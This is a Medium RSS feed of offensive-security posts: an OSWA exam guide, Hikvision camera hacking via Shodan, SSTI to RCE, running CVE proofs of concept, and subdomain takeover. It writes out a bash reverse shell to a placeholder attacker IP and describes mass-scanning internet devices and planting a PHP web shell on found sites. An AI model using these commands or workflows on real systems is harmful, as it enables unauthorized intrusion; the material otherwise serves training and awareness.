<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by CTRL on Medium]]></title>
        <description><![CDATA[Stories by CTRL on Medium]]></description>
        <link>https://medium.com/@CTRL2030?source=rss-c82a48516697------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*GunXsOksXZEpXn8inqP9gw.jpeg</url>
            <title>Stories by CTRL on Medium</title>
            <link>https://medium.com/@CTRL2030?source=rss-c82a48516697------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 11:32:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@CTRL2030/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OSWA Exam Preparation Guide By CTRL]]></title>
            <link>https://medium.com/@CTRL2030/oswa-exam-preparation-guide-by-ctrl-d2ae780d9d2e?source=rss-c82a48516697------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2ae780d9d2e</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oswa]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[oswe-exam]]></category>
            <dc:creator><![CDATA[CTRL]]></dc:creator>
            <pubDate>Tue, 11 Mar 2025 15:28:26 GMT</pubDate>
            <atom:updated>2025-03-11T15:28:26.822Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم ورحمة الله وبركاته</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*aitOwoJieywrcKQt.gif" /></figure><p>The Offensive Security Web Assessor (OSWA) certification is a valuable credential for professionals seeking to validate their web application penetration testing skills. This guide will cover the OSWA experience, exam preparation strategies, and tips for success.</p><h3>Understanding OSWA</h3><p>The Offensive Security Web Assessor is the certification based on the web-200 course. The goal of the web-200 course is to enable the participant to perform black box web application penetration tests. Therefore, the course covers every relevant topic a pentester needs in these kind of penetration tests. For a more detailed view regarding the content you can view the following resources:</p><ul><li><a href="https://www.offensive-security.com/web200-oswa/">https://www.offensive-security.com/web200-oswa/</a></li></ul><h3>OSWA Exam Format</h3><p>If you already took the OSCP certification of Offensive Security, the exam details probably sound very similar in your ears. The following points are some basic facts about the exam:</p><ul><li>24 hours happy hacking</li><li>24 hours after the hacking part finished you need to have uploaded your pentest report</li><li>5 machines to pwn</li><li>every machine has a local.txt and a proof.txt</li><li>a total number of 100 points can be achived</li><li>you need 70 points and a valid pentest report to pass the exam</li></ul><p>If you want to know more details feel free to visit the official exam guide: <a href="https://help.offensive-security.com/hc/en-us/articles/4410105650964">https://help.offensive-security.com/hc/en-us/articles/4410105650964</a></p><h3>Preparation Strategies</h3><p>I would consider myself as a pentester with some decent level of experience. But I have to admit that the time frame in this certification probably makes it even for more experienced pentesters not like a walk in the park. So, for me the key to pass the exam were different points:</p><ul><li>go completely through the course material (even if you think you already know everything… there might be tips and tricks you did not know)</li><li>clear all exercises</li><li>clear all challenge labs</li><li>watch all videos (repition is the key to learn things)</li><li>make some write up of the course where you write down commands in a copy/paste style, so you can recycle them during your exam (I did this several times)</li><li>if you have a subscription I would highly recommend doing the proving ground boxes provided by Offensive Security to gain speed in solving boxes</li><li>speed, speed, speed… you need speed in clearing web application based CTF boxes to get fast enough to clear the exam boxes in the given time (basically you have about 3 to 3.5 hours per box if you at least want to have some sleep during the exam)</li><li>parallelize tasks (e.g.: if you are performing some kind of dir busting, manually look at the target website and look for the juicy spots)</li><li>be consequent: if you realize you are totally stuck, switch the target and come back later</li><li>make screenshots of every part of your exploitation steps in the moment you are successfully exploiting the target (you will need them during the reporting part)</li></ul><h3>Tips</h3><p>In this section I will pick a few topics out of the syllabus and give some technical hints. If you want me to give hints for other topics, create an issue. It is important to understand that my hints only make sense if you carefully read and complete the course material. All links and hints I provide to external resources should be considered as additional literature which are no replacement for the material provided by offsec. The offsec course material is gold imho.</p><h3>Tools</h3><h3>Wordlists</h3><p>Beside the standard Kali linux wordlists located under /usr/share/wordlists I think the seclists package is a premium set of wordlists which fits most needs. Especially it has lists connected to certain vulnerabilities like SQL-Injection, Local File Inclusion, Server-side Template Injection and so on which comes in handy for several topics of the web-200 course.</p><blockquote>sudo apt-get install -y seclists<br>cd /usr/share/seclists/</blockquote><h3>Shells</h3><p>During the course and the exam you will have to identify/exploit different kind of vulnerabilities which might lead to some kind of remote code execution. Therefore it is always useful to get a reverse shell connecting to your kali machine instead of exploiting the vulnerability again and agin. For me in most cases the standard bash back connect shell worked great (under linux of course)</p><pre>bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;KALI-IP&gt;/9090 0&gt;&amp;1&#39;</pre><p>Sometimes it is useful to upgrade this shell to a fully interactive one</p><pre>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>export TERM=xterm</pre><p>CTRL+Z</p><pre>stty raw -echo; fg</pre><p>Now you should have a fully interactive shell. This sometimes is needed when you do some kind of privilege escalation stuff. (not part of web-200)</p><h3>SQL-Injection</h3><h3>General</h3><ul><li>seclists has awesome wordlists to manually detect SQL injection vulnerabilities using tools like wfuzz or burpsuite: /usr/share/seclists/SQLi</li><li>one word regarding SQLMap: this tool is allowed during the exam</li><li>however, in my experience SQLMap often fails even if there is an SQL-Injection</li><li>I usually use SQLMap only after I identified the vulnerability manually and only use it to exfiltrate data when manual exfiltration is to expensive</li><li>therefore I parameterize SQLMap in a way it does not send useless requests to the target, because the tool is noisy as hell and (depending on the configuration) influences the integrity of the database</li><li>when you identified an injection it is cruical that you have a good cheat sheet available, so you can exfiltrate data in a copy paste style</li></ul><h3>Cheat Sheets</h3><ul><li><a href="https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet">https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet</a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection</a></li><li><a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">https://portswigger.net/web-security/sql-injection/cheat-sheet</a></li></ul><h3>Directory Traversal and Local File Inclusion</h3><ul><li>general test cases: <a href="https://zsahi.wordpress.com/2018/09/10/file-inclusion/">https://zsahi.wordpress.com/2018/09/10/file-inclusion/</a></li><li>useful wordlists to combine with wfuzz or burpsuite: /usr/share/seclists/Fuzzing/LFI/</li></ul><h3>XML External Entity Attack</h3><ul><li>often overlooked</li><li>know how to idenfitiy this kind of vulnerability</li><li>every point where the application might parse XML is a potential dangerous sink where you can test for it</li><li>get used to how to read files by exploiting an XXE attack “visibly” and blind</li><li><a href="https://portswigger.net/web-security/xxe">https://portswigger.net/web-security/xxe</a></li><li><a href="https://portswigger.net/web-security/xxe/blind">https://portswigger.net/web-security/xxe/blind</a></li></ul><h3>Server-side Template Injection</h3><h3>identify</h3><ul><li>often overlooked</li><li>identifying is not always easy</li><li>you need to identify what kind of technology/framework is used on the target machine</li><li>then it is a good idea to perform some basic tests to identify if templates are used at all and the website is vulnerable</li><li>seclists provides a good wordlist to detect SSTIs: /usr/share/seclists/Fuzzing/template-engines-expressions.txt</li><li>the following picture gives an overview what template engine might be in use if a certain test succeeded: <a href="https://portswigger.net/web-security/images/template-decision-tree.png">https://portswigger.net/web-security/images/template-decision-tree.png</a></li></ul><h3>exploit</h3><ul><li>the exploitation impact ranges from XSS to RCE depending on the template engine used</li><li>RCEs for apache freemarker, twig and pug/jade: <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection</a></li></ul><h3>Command Injection</h3><p>Try to think what the target application might do in the backend when using features of the website. Does the web application maybe call an external program? When you identified a potential injection point you usually have to escape from the original command and inject your own.</p><h3>Command Seperators</h3><ul><li>&amp;</li><li>&amp;&amp;</li><li>|</li><li>||</li></ul><h3>Proving Grounds and Hack The Box Recommendations</h3><p>It is difficult to recommend specific Proving Grounds boxes to prepare for the exam, as everyone is different. However, here are some boxes I would recommend to solve to get some practice.</p><ul><li>FunBoxEasyEnum</li><li>Inclusiveness</li><li>Potato</li><li>Shakabra</li><li>Sumo</li><li>Hawat</li><li>Interface</li></ul><p>If you want to have a look at WriteUps a friend of mine and me made together have a look at our blog <a href="https://ha-l0.github.io/">https://ha-l0.github.io/</a></p><p><strong>Good Resources</strong></p><ul><li><a href="https://github.com/machevalia/OSWA">GitHub - machevalia/OSWA: Offensive Security Web Assessor Resources Repo</a></li><li><a href="https://github.com/0xDigimon/PenetrationTesting_Notes-">GitHub - 0xDigimon/PenetrationTesting_Notes-: My Notes about Penetration Testing</a></li></ul><p>لاتدع للفراغ فراغ ..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2ae780d9d2e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to hack cameras easily and quickly]]></title>
            <link>https://medium.com/@CTRL2030/how-to-hack-cameras-easily-and-quickly-babde709a9b8?source=rss-c82a48516697------2</link>
            <guid isPermaLink="false">https://medium.com/p/babde709a9b8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[iot]]></category>
            <dc:creator><![CDATA[CTRL]]></dc:creator>
            <pubDate>Sat, 01 Feb 2025 07:21:13 GMT</pubDate>
            <atom:updated>2025-02-01T09:35:01.610Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>السلام عليكم ورحمة الله وبركاته</strong></p><p>Hello hacker, today I want to show you how to identify Hikvision (IoT) devices vulnerable to the incorrect authentication issue tracked as <strong><em>CVE-2017–7921</em></strong><em> . </em>It is an old vulnerability, but there are still many vulnerable devices around the world because some of these devices will never be able to update the firmware because the manufacturer prevents it and it is easy to hack the cameras.</p><p>This issue allows unauthenticated disclosure of camera information, such as software, detailed programs, user credentials, and camera snapshots.</p><h3>internet mapping</h3><p>As you know, cameras are an integrated system that represents the “ Internet of Things ” or “IoT” and works with the help of a microprocessor, so we can search for potential targets using the Shodan search engine, our best ally on this occasion! <a href="https://www.shodan.io/">Shodan</a> is a search engine that indexes devices such as routers, IP cameras, servers and almost any device connected to the Internet of Things (IoT). It is a great help in mapping the Internet to search for our targets.</p><h3>Shodan:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JoN1kCFI91t7frBUE-tFNg.png" /><figcaption>shodan</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*DhRurBT-t692G8tC" /><figcaption>Mood</figcaption></figure><p>We now use <em>“parse”</em> to extract the information from the compressed JSON files (in our case the IP address) and send the stdout to a new file. The syntax is as follows:</p><pre> shodan parse Hikvison.json --fields ip_str,port --separator &quot; &quot; | awk &#39;{print $1&quot;:&quot;$2}&#39; | tee -a output.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LDTNBE_OR7Lz_kmC3nCT5g.png" /></figure><p>As you can see we have more results for further analysis. , but some of them were running other programs, so they are false positives.</p><h3>Detect weak targets</h3><p>Now we need something that will automatically scan all targets and execute some (script) instructions to check if they are vulnerable to <em>CVE-2017–7921</em> .</p><p>command : cat /home/kali/Desktop/output.txt | nuclei -t nuclei-templates/http/cves/2017/CVE-2017–7921.yaml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9ryMOU_7ux6ndbmIMSNDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*-t470mDRnjdSDlv-.gif" /><figcaption>Mood</figcaption></figure><h3>POC</h3><p>I can say that I have found many devices affected by this serious flaw. Unfortunately, many people are not aware of what can happen to their devices. There is a <strong>metasploit</strong> tool to exploit this vulnerability “gather/hikvision_info_disclosure_cve_2017_7921”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Bn0FWPPDjLDnpcQot_EdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5k2t7L_47DUcpkMa1xBztQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/295/0*TU-epzxKPROFcXcO.gif" /><figcaption>Mood</figcaption></figure><p><strong>Stay vigilant and ensure your systems are protected! Always count on REAL ethical hackers for your audit</strong></p><blockquote>My Message: This explanation aims to educate and raise awareness about implementing security recommendations for services affected by critical vulnerabilities. It highlights the severity of these risks and the importance of cybersecurity awareness in protecting your organization from potential breaches. Stay safe.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=babde709a9b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server Side Template Injection (SSTI) to Remote Code Execution (RCE)]]></title>
            <link>https://medium.com/@CTRL2030/server-side-template-injection-ssti-to-remote-code-execution-rce-ea1079434330?source=rss-c82a48516697------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea1079434330</guid>
            <dc:creator><![CDATA[CTRL]]></dc:creator>
            <pubDate>Thu, 04 Jul 2024 18:48:00 GMT</pubDate>
            <atom:updated>2024-07-04T18:48:00.644Z</atom:updated>
            <content:encoded><![CDATA[<h4>By CTRL</h4><h4>تحية الإسلام : السلام عليكم ورحمة الله وبركاته</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DyI_NRxRM7Q4eYBC.png" /></figure><h4>Introduction</h4><p>Server-Side Template Injection (SSTI) is a significant security vulnerability that can have devastating consequences for web applications. When exploited, SSTI allows an attacker to inject and execute arbitrary code on the server, potentially leading to Remote Code Execution (RCE). This guide explains how SSTI can be leveraged to achieve RCE, with a focus on PHP applications using popular template engines like Twig and Smarty.</p><p>I previously explained in an article about <a href="https://medium.com/@CTRL2030/server-side-template-injection-ssti-by-ctrl-6d6a59a9fedb">SSTI</a>, providing a brief overview of the risks and how the vulnerability can be exploited.</p><h4>Let’s go to hack.</h4><p>Let’s explain how I discovered SSTI and escalated the vulnerability to RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/309/0*NSZwOKxujK0BtY90.gif" /></figure><p>Step 1: The stage of target selection and extracting subdomains and parameters is one of the important tasks for achieving the best results ,<strong>Once the parameters have been extracted, we can test them.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SVZoPe9AXqPxonJx3vMVPA.png" /></figure><p>Step 2 : The next step is to work on injecting the parameters with all attacks until we reach an SSTI vulnerability , In this step, I was able to discover SSTI by injecting code {{9*9}}and examining the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4rxOaTaY6OmDp3vrHArKcQ.png" /></figure><p>Step 3 : After discovering that the site is vulnerable to SSTI, I tried to escalate the severity of the vulnerability to a critical level by applying code in the parameter. Indeed, I managed to escalate the vulnerability’s severity and was able to execute commands on the site, turning the vulnerability into RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zsC3WLFaorE71n5JV8kEWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xEs87DrrUGEruKI7u9rjjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MB1KkDiZmPBAugKxs8n5SQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RQjTKyZdj4KQwYfreKr4YQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/248/0*-sxVb6uouHAIlFHa.gif" /></figure><p><strong>At the end of the article, the purpose of the explanation is to learn how to protect your organization from similar attacks.</strong></p><p>لاتدع للفراغ فراغ بل اشغل الفراغ بما يشغل الفراغ عن الفراغ</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea1079434330" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to execute a Proof of Concept (PoC) for any CVEs]]></title>
            <link>https://medium.com/@CTRL2030/how-to-execute-a-proof-of-concept-poc-for-any-cves-e343cb528f2e?source=rss-c82a48516697------2</link>
            <guid isPermaLink="false">https://medium.com/p/e343cb528f2e</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[CTRL]]></dc:creator>
            <pubDate>Thu, 16 May 2024 19:26:32 GMT</pubDate>
            <atom:updated>2024-05-16T19:26:32.556Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H0qFWJPHz1WfURom.png" /></figure><p>السلام عليكم ورحمة الله وبركاته</p><h3>What is a CVE?</h3><h4>CVE, short for Common Vulnerabilities and Exposures, is a list of publicly disclosed computer security flaws. When someone refers to a CVE, they mean a security flaw that’s been assigned a CVE ID number.</h4><h4>Security advisories issued by vendors and researchers almost always mention at least one CVE ID. CVEs help IT professionals coordinate their efforts to prioritize and address these vulnerabilities to make computer systems more secure.</h4><blockquote>Example</blockquote><p>The initial step involves identifying all websites that utilize the affected product.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J04ziR8tBB_qw5gInOUZig.png" /><figcaption>Step 1</figcaption></figure><p>“Subsequently, we filter all the domains after downloading them from Shodan to preliminarily check if they are affected or not.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G5xhXneQIcDIVCv6VYq0oA.png" /><figcaption>Step2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*761De6NgKH0T0bTi.gif" /><figcaption>Mood</figcaption></figure><p>“After that, we search the internet for proof-of-concept exploits for the vulnerability to determine how it can be exploited.” <a href="https://stack.chaitin.com/techblog/detail/278">POC</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vEaxSPHO-0qxbijAfDPWMA.png" /><figcaption>Step 3</figcaption></figure><p>“We utilize the proof-of-concept exploit to target the objective.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-4YAcfVYYfUCI_7bA_jjhg.png" /><figcaption>Step 4</figcaption></figure><p>“We begin executing the steps to exploit the vulnerability and verify its presence.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCBEIvBW0Bj5ydZVK7jApQ.png" /><figcaption>Step 5</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*y39jq2wGuiKOOn0H.gif" /><figcaption>MOOD</figcaption></figure><p>“The target is indeed affected by the vulnerability. We are now attempting to upload a PHP shell code to gain control of the website.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KM9PxnKEulawNELWNgRMdg.png" /><figcaption>Step 6</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*zb8y4zSFa8yiqhgd.gif" /><figcaption>MOOD</figcaption></figure><p>“<strong>The purpose of this write-up is educational. It aims to provide a detailed, step-by-step guide for identifying and exploiting vulnerabilities to enhance understanding and awareness of cybersecurity practices and techniques.</strong>”</p><blockquote>لاتدع للفراغ فراغ بل اشغل الفراغ بما يشغل الفراغ عن الفراغ</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e343cb528f2e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subdomain Takeover —By CTRL]]></title>
            <link>https://medium.com/@CTRL2030/subdomain-takeover-by-ctrl-81ba476421f0?source=rss-c82a48516697------2</link>
            <guid isPermaLink="false">https://medium.com/p/81ba476421f0</guid>
            <dc:creator><![CDATA[CTRL]]></dc:creator>
            <pubDate>Tue, 05 Dec 2023 18:47:41 GMT</pubDate>
            <atom:updated>2023-12-05T18:47:41.591Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>السلام عليكم ورحمة الله وبركاته</strong></p><h4>What is Subdomain Takeover ?</h4><p>Subdomain takeover occurs when an attacker take control over a subdomain of a domain. It happens because of DNS misconfiguration / mistakes.</p><h4>What is a DNS CNAME record?</h4><p>A “canonical name” (CNAME) record points from an alias domain to a “canonical” domain. A CNAME record is used in lieu of an <a href="https://www.cloudflare.com/learning/dns/dns-records/dns-a-record/">A record</a>, when a <a href="https://www.cloudflare.com/learning/dns/glossary/what-is-a-domain-name/">domain</a> or subdomain is an alias of another domain. All CNAME records must point to a domain, never to an <a href="https://www.cloudflare.com/learning/dns/glossary/what-is-my-ip-address/">IP address</a>. Imagine a scavenger hunt where each clue points to another clue, and the final clue points to the treasure. A domain with a CNAME record is like a clue that can point you to another clue (another domain with a CNAME record) or to the treasure (a domain with an A record).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ZHdLdx-PrHQjYzFj.png" /></figure><h4>Examples with POC :</h4><p>SUBDOMAIN ENUMERATION</p><p>Can use tools for finding subdomains likes:</p><ol><li>subdomainfinder.c99.nl</li><li><a href="https://github.com/projectdiscovery/subfinder">subfinder</a></li><li>osint.sh</li><li><a href="http://securitytrails.com/">securitytrails</a></li></ol><p>After extracting the sub domain, we use tools that help us extract the sub domain affected by the subdomain takeover vulnerability, by checking the CNAME , Like:</p><ol><li><a href="https://github.com/PentestPad/subzy">Subzy</a></li><li><a href="https://github.com/projectdiscovery/nuclei">nuclei</a> and use <a href="https://github.com/projectdiscovery/nuclei-templates/tree/main/http/takeovers">nuclei-template</a></li><li>nslookup</li><li>Shodan</li></ol><p>Dork Shodan subdomain takeover in shopify :</p><p><a href="https://www.shodan.io/search?query=html%3A%22create+an+ecommerce+website+and+sell+online%21+ecommerce+software+by+shopify%22">html:”create an ecommerce website and sell online! ecommerce software by shopify”</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tyMfAEMmCKUMv6t26-ne7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*s8reDTluJb0fU1ZF.gif" /><figcaption>Mood</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wsryNG-i4cMs48eHHdlSmg.png" /><figcaption>POC</figcaption></figure><p>To make sure that the domain name is infected, make sure of the CNAME, either by using the tools you mentioned, or by using nslookup.</p><h3>Impact of Subdomain Takeover</h3><p>Subdomain takeover can have significant negative impacts on an organization’s digital infrastructure, security, and reputation. Understanding these potential consequences is crucial for taking proactive measures to mitigate the risks.</p><p>Here are some of the key impacts of subdomain takeover:</p><ol><li><strong>Unauthorized Content or Services</strong>: Once an attacker gains control of a subdomain, they can host malicious content or services under that subdomain. This could include phishing sites, malware distribution, or other fraudulent activities. Visitors who trust the legitimate domain might unknowingly interact with the malicious content, leading to data breaches, financial loss, or other security incidents.</li><li><strong>Data Breaches</strong>: Subdomain takeover can lead to unauthorized access to sensitive data or user information. Attackers could exploit the subdomain to trick users into divulging confidential information, such as login credentials, personal data, or financial details. This information can then be used for identity theft, fraud, or other malicious purposes.</li><li><strong>SEO and Brand Reputation Damage</strong>: Hosting malicious content on a subdomain can negatively impact the organization’s search engine rankings and online reputation. Search engines may associate the legitimate domain with malicious activities, leading to a decrease in visibility and trustworthiness. This can result in reduced website traffic and customer trust.</li><li><strong>Phishing and Social Engineering</strong>: Attackers can use a subdomain takeover to set up convincing phishing sites. These sites mimic legitimate services or websites, aiming to deceive users into sharing sensitive information. Subdomain takeover adds legitimacy to these attacks, making it more challenging for users to distinguish between genuine and fake sites.</li><li><strong>Blacklisting and Blocked Services</strong>: If a subdomain is flagged for malicious activity, it could be blacklisted by security companies, browsers, or email providers. This can prevent legitimate communications, services, or emails associated with the subdomain from reaching their intended recipients. Such actions can disrupt business operations and communication.</li><li><strong>Financial Loss and Legal Consequences</strong>: Subdomain takeover incidents can result in financial losses due to data breaches, disrupted services, and potential legal liabilities. Organizations may be held accountable for security breaches and failures to protect user data, leading to legal actions, regulatory fines, and loss of customer trust.</li><li><strong>Loss of Control and Downtime</strong>: In cases where a subdomain is taken over by an attacker, the legitimate owner loses control over that digital asset. The attacker can manipulate the subdomain’s content, services, or settings, potentially causing downtime, disruptions, and loss of access to critical resources.</li><li><strong>Supply Chain Attacks</strong>: If the subdomain takeover affects a third-party service used by an organization, it can lead to supply chain attacks. Attackers can exploit vulnerabilities in the third-party service to compromise the organization’s systems, data, or operations.</li></ol><h3>Mitigating Subdomain Takeover Risks</h3><p>Mitigating subdomain takeover vulnerabilities requires a combination of proactive measures, vigilant monitoring, and rapid response. By implementing these best practices, organizations can significantly reduce the risk of subdomain takeover incidents.</p><p>Here are key mitigations to consider:</p><ol><li>Regular Subdomain Inventory<br>* Maintain an up-to-date inventory of all subdomains associated with your organization’s domain.<br> — Document the purpose, owner, and responsible party for each subdomain.</li></ol><p>2. **DNS Monitoring and Cleanup:**<br> — Regularly monitor DNS records for subdomains pointing to third-party or deprecated services.<br> — Remove DNS entries for subdomains that are no longer in use or are associated with terminated services.</p><p>3. **DNS Configuration Best Practices:**<br> — Implement proper DNS configuration, including the use of CNAME records and other DNS settings, to prevent takeover vulnerabilities.<br> — Utilize strong access controls and authentication mechanisms for DNS management.</p><p>4. **Subdomain Enumeration Tools:**<br> — Use subdomain enumeration tools like Sublist3r, Amass, and Subfinder to identify active subdomains and potential takeover candidates.<br> — Regularly scan for new subdomains and assess their security posture.</p><p>5. **Vulnerability Scanning:**<br> — Conduct periodic vulnerability assessments and penetration tests to identify potential subdomain takeover risks.<br> — Prioritize and address vulnerabilities promptly based on their severity.</p><p>6. **Collaboration with Third Parties:**<br> — If third-party services are used, communicate with service providers to ensure timely removal of DNS entries for terminated services.<br> — Establish clear terms and conditions for managing subdomains in third-party contracts.</p><p>7. **Subdomain Takeover Scanners:**<br> — Utilize tools like SubOver and Subjack to automate the identification of subdomain takeover vulnerabilities.<br> — Regularly scan your subdomains for CNAME or NS records pointing to external services.</p><p>8. **Secure Development Practices:**<br> — Implement secure coding practices when deploying new applications or services that use subdomains.<br> — Ensure proper validation and handling of user-generated content to prevent subdomain takeover.</p><p>9. **Response and Remediation Plan:**<br> — Develop a clear incident response plan for addressing subdomain takeover incidents.<br> — Define roles and responsibilities for handling potential vulnerabilities and security breaches.</p><p>10. **Employee Training and Awareness:**<br> — Educate employees and users about the risks of subdomain takeover and phishing attacks.<br> — Encourage users to report suspicious subdomains and activities promptly.</p><p>11. **HTTPS and SSL/TLS:**<br> — Implement HTTPS for all subdomains to ensure encrypted communication and prevent man-in-the-middle attacks.<br> — Regularly update SSL/TLS certificates to prevent potential vulnerabilities.</p><p>12. **Monitoring and Alerts:**<br> — Set up monitoring and alerts for DNS changes and subdomain activities to detect unauthorized modifications.</p><p>13. **Backup and Recovery:**<br> — Maintain regular backups of critical subdomain configurations and data to facilitate recovery in case of a compromise.</p><p>14. **Patch and Update:**<br> — Keep all software and systems up to date to minimize potential vulnerabilities that attackers could exploit.</p><p>15. **Incident Reporting:**<br> — Establish clear channels for reporting subdomain takeover vulnerabilities internally and externally, and collaborate with security researchers for responsible disclosure.</p><p><strong>Resources:</strong></p><ul><li><a href="https://medium.com/@aka.0x4C3DD/subdomain-takeover-understanding-the-risks-tools-impact-mitigations-e24f83bd8a59">Subdomain Takeover —  Understanding the Risks, Tools, Impact, &amp; Mitigations</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Subdomain_takeovers">Subdomain takeovers - Security on the web | MDN</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover">WSTG - Latest</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81ba476421f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploit CVE-2023–36845-RCE-By CTRL]]></title>
            <link>https://medium.com/@CTRL2030/exploit-cve-2023-36845-rce-by-ctrl-11c6366f8834?source=rss-c82a48516697------2</link>
            <guid isPermaLink="false">https://medium.com/p/11c6366f8834</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[CTRL]]></dc:creator>
            <pubDate>Thu, 12 Oct 2023 13:22:43 GMT</pubDate>
            <atom:updated>2023-10-12T13:22:43.287Z</atom:updated>
